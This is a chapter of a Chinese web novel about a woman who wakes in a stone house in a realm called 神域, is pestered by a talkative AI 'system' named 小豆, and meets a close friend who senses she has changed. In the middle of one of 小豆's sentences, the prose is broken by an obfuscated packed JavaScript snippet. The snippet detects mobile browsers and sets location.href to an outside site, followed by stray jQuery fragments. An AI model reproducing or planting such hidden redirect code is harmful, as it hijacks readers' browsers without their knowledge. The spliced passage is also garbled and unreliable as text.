疼痛。
浑身都痛。
这是“陈默泽”从昏迷中抽身后的第一感受。
她的肋骨好像断了,胸腔中一阵一阵绵延不断的刺痛最明显,让人无法忽略。四肢的痛感没那么严重,但也很不舒服,手脚都使不上劲就跟被车撞过的面条,被撞散了所以绵软无力。
车吗?
她的脑海里浮现出一些破碎的画面。
高速,车顶,前车坐着两个人,她坐在后排。
她好像刚刚是在车上。
想到这她的大脑猛地一抽,像给胸腔的痛伴奏一样,也一阵阵地宛如被剖开一般发痛。
第一下睁开眼没能成功,她再试一次终于把眼睁开,眼前的画面十分模糊。雪花般的花纹遮盖了她的视眼,眼前是星星点点的黑和大片大片的白混在一起。她感觉自己像个坏掉的老式电视机。
什么也看不清楚,她干脆闭眼,熬过令人作呕的头晕再睁眼。
眼前的雪花逐渐褪去,她终于看清自己在哪了。
不是模糊记忆中的车内,这里没有车顶、车窗和车座,有的是粗糙的墙壁,呈现着黄褐色泥土的质地。房顶、地面都是同一种颜色。她在一处方方正正的房间里,看起来是一座石屋。
石屋只有一个房间,她躺在床上背靠墙,微微转头就能把整个房间尽收眼底。身下的床很坚硬,不用看就知道也是石头做的。床上铺了层很薄的毯子,勉强有点床该有的软的意思。
同样很薄的被子盖在身上,随着她缓慢坐起的动作而滑下。
说来奇怪,在苏醒后她身上的痛意正如潮水般褪去,头脑也愈发清醒。当她从床上坐起,刚刚清晰且难忍的痛全部消失。
她摸了摸自己的身体,此刻每一块皮肤、肌肉和骨骼都正常得不像话,仿佛几秒前还在忍受的痛都是幻觉,是她正在逐渐忘记的噩梦。
她原来没有受伤吗?
可是刚刚的痛感是什么情况?
搞不清,她选择先观察四周确认自己所在的环境。
石屋里的家具很少很简朴,简朴到堪称贫困,但充满生活气息并不让人觉得冷清,看得出来住在这的人很用心地用最少的东西做最温馨的布置。
床的左手边是一张石头桌子,桌前是一张没靠背的椅子,桌面上除了一本合上的笔记本,还放了些小东西。纸折的小船,两颗造型独特的石头,还有一小丛淡黄色的沙枣花连叶带枝被摘了下来。此刻小黄花躺在笔记本旁,为简单寡淡的房间增添了些许亮色。
桌子对面,房间的另一边,空荡荡的墙上嵌着一块黑色的板子。细看去,“陈默泽”发现那不是普通的板子,那是个息屏的电子屏幕。它的四边和墙完美契合,没有一点后期装进去的痕迹。
石头屋里的东西都是石头做的,只有这个电子屏与众不同得过了头。纵使深深嵌在墙里,它也如此格格不入。
察觉到“陈默泽”看过来的视线,电子屏上划过一道暗光。它突然亮了,屏幕从黑色变成了深邃的蓝色,上面浮现出一个简单的颜文字笑脸,与此同时还有声音:
“您好,您终于醒了~检测到十秒前您呼吸急促,心跳过快,是做噩梦了吗?”
嚯,这小机器声,听着变声期小孩似的说话还挺贴心。
但“陈默泽”不吃这套。
还做噩梦呢,现在她莫名其妙到了这更莫名其妙的地方才是噩梦开始。
她冷冷地问,“你是什么东西?”
“我是您的专属系统小豆呀~您睡了一觉就把我忘了吗,真是太~~~~让统伤心了~”
屏幕上颜文字变成了哭哭,稚嫩中带着电子音的声音也掺入了悲伤的演绎。
“陈默泽”翻了个白眼,无语道,“还系统,我说朋友,穿越送系统的故事太老套了。别给我整这些,直接告诉我这是哪儿。”
屏幕上的表情变成了惊讶,“什么穿越,亲爱的陈默泽女士您在说什么呢,这里是神域啊。您是睡懵了吗?这边建议您起来走两圈,或者出门走走呢~”
“陈默泽”没有回应。
她陷入了沉思。
系统说,她叫陈默泽?
她是叫陈默泽吗?
为什么她总觉得自己的名字不是这个。可她当感觉不对劲再去细想却想不起来自己叫什么了,对名字的印象和从前的记忆都一起随痛意消逝而去了。
神域又是什么东西,从来没听过。带神字,是跟神明有关吗?
现在可以确定的是她一定穿越了。
穿越,苏醒。
接下来系统是不是要发布任务了。任务包难的,系统包没用的,而她是要出生入死为系统打工,累死累活换一个“活”字的。
按理好像是这样。
可惜了,剧情不会这么发展。
“陈默泽”是不一样的,她对活没有欲望。一个不求生、死也行的人,你无法要求她做任何事。
随便吧,就这样,来都来了,什么都可以,什么都无所谓。
从今天开始她就叫陈默泽了。
至于消失的记忆,莫名其妙的穿越,认识她的系统,新世界神域,她通通抛到脑后一概不管。
她好困,她要睡觉了。
回笼觉,启动!
将身体交给重力,她重重倒回床上,撩起薄被子随便往身上一扯,脚一蹬眼一闭。她的意识开始往下沉。
啊,熟悉的感觉,睡觉,如此美妙。
“陈默泽女士,陈默泽女士~您又要睡觉了吗?可是距离您起床才过去……不好意思,您只是醒了根本没起床。这就又要睡觉了吗?”
小豆的声音传过来好像隔着一层纱朦朦胧胧的。陈默泽感觉自己马上就要睡着了,于是下定决心不搭理它。
“歪?您好!陈默泽女士还在吗?理理我呗~”
“我知道你在床上,你别不出声。”
“歪,喂!”
“哈喽!nice to meet you!!”
……好吵!
陈默泽皱着眉翻了个身,顺便用毯子罩住了头。
“根据搜索到的信息,反复睡回笼觉会越睡越累,打乱作息,让脑变钝,让人变笨。您已经不太聪明了,这边不建议您继续这么做哦~”
陈默泽:……?
骂谁笨呢!
“另外提醒您一下,我能检测到您的生命状况,完全可以判断您清醒还是沉睡哦。听见不说话是很不礼貌的哦~”
陈默泽:……吵人睡觉的那个更不礼貌吧!
陈默泽很火大,但硬是忍住了不翻身起来骂它。
不是她脾气好,是倦怠将她锁在了毯子里,她连嘴都不想张。
说了那么多都没被理睬,小豆似乎察觉到了陈默泽的不耐烦,终于安静了。
然而就在陈默泽的意识再度开始下沉,身边的世界开始游离、溃散时,那个烦人的幼稚电子音又吵起来了。
“为了您的健康着想,这边决定叫醒爱睡懒觉、作息不规律还爱闹小脾气的您,一分钟以后将放送伍皓女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318857|199014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
士设置的起床铃。一分钟倒计时开始,60秒,59秒,58……”
好烦人的东西!
还有,爱睡懒觉和作息不规律她认了,爱闹脾气是什么意思?她脾气很差吗?!
陈默泽深吸一口气,睁开了眼睛,正准备翻身而起好好教育一下小系统,让它深深记住打扰别人睡觉是死罪。
就在此时,石屋的门被推开了。
门开的瞬间一股燥热空气以令人难以忽视的架势涌进石屋,与之一同涌进的,是一个清冽温柔的女声。
“小豆小豆。”
她的声音很好听,不只是音色像泉水,她的语气也让人印象深刻,很温柔,仿佛能消解天气的炎热,抚平人心的躁动。陈默泽不知道她的长相,但听着声音就觉得她一定好看得让人舒服。
小豆立刻回应,不知道是不是错觉,陈默泽从拟人的系统音里听出了真情实感的雀跃,“我在!”
“又在闹什么呢,小点声,陈默泽还在睡觉呢。”
女声在靠近,她进屋了,门被关上。人的脚步声穿过房间,来到床前。
来人这么体贴,生怕吵到她睡觉,倒叫陈默泽有些不好意思起身了。她把眼睛重新闭上,竖着耳朵听声响,继续装睡。
可有“人”不让她装。
小豆似乎迷上了和她对着干的感觉,立刻揭穿了她,“已经醒了已经醒了,陈默泽女士刚刚还和我聊天了,现在躺着在装睡哦~”
这下不起不行了。
她这个暴脾气啊,一下掀被而起,当场就要和小豆唇枪舌战三百回合。
在她酝酿出唇枪之前,进来的女人抢先说话了,“你醒了?太好了,快起来吧,我们马上就要去下副本了。”
行动被打断,陈默泽积攒的气一下卸掉了。
行吧,看在这女人声音很好听的份上,浅起一下吧。
陈默泽终于离开了床,终于站了起来!
和她想的一样,二十岁出头的女人和她年纪相仿,生着让人不由心生好感的相貌。她有一双鹿似的眼睛,黢黑如同刚被水洗过的黑葡萄,是品质最好、肉甜水多的葡萄。眉如山峰,浓黑的同时有着温润的弧度。长得不说美,但很有东方韵味。
比相貌更引人注意的是她的气质,跟声音一样宛如清澈流水,站在她身边就会觉得舒服,觉得她好像包容一切,你可以轻易地走近她。
很难说是受到女人气质的影响,还是这幅身体中潜藏的意志,陈默泽莫名觉得女人让她感到十分熟悉,甚至有八分亲近。
她和“陈默泽”的关系应当是很好的,进门之后她直奔床铺,坐在了陈默泽身侧。她一条腿搭上床,大腿紧贴着陈默泽的脚,在陈默泽起来后自然地捡起被掀到一旁的薄被子,两下三下叠好放在了床头枕头边。
跟一个初见面的人如此亲密陈默泽感到很不自在,她嘴比脑快,心里的感受一升起来就从嘴里出去了,“你离我远点呗,别贴那么近。”
女人愣住了,片刻之后她沉沉地看向陈默泽,目光带着探究,“你怎么了,这不是你会对我说的话。出什么问题了吗?”
最后一句她是问向小豆的。
坏了,这人也太敏锐了。
陈默泽才说了一句话女人就察觉到不对劲了。
她这不过脑的快嘴啊,陈默泽感到一阵头疼。
朝夕相处的朋友变了个人,女人会怎么做?
声音这么温柔,应该不会杀人吧。把她关在这里直到找到解决办法,这个可能性高一些。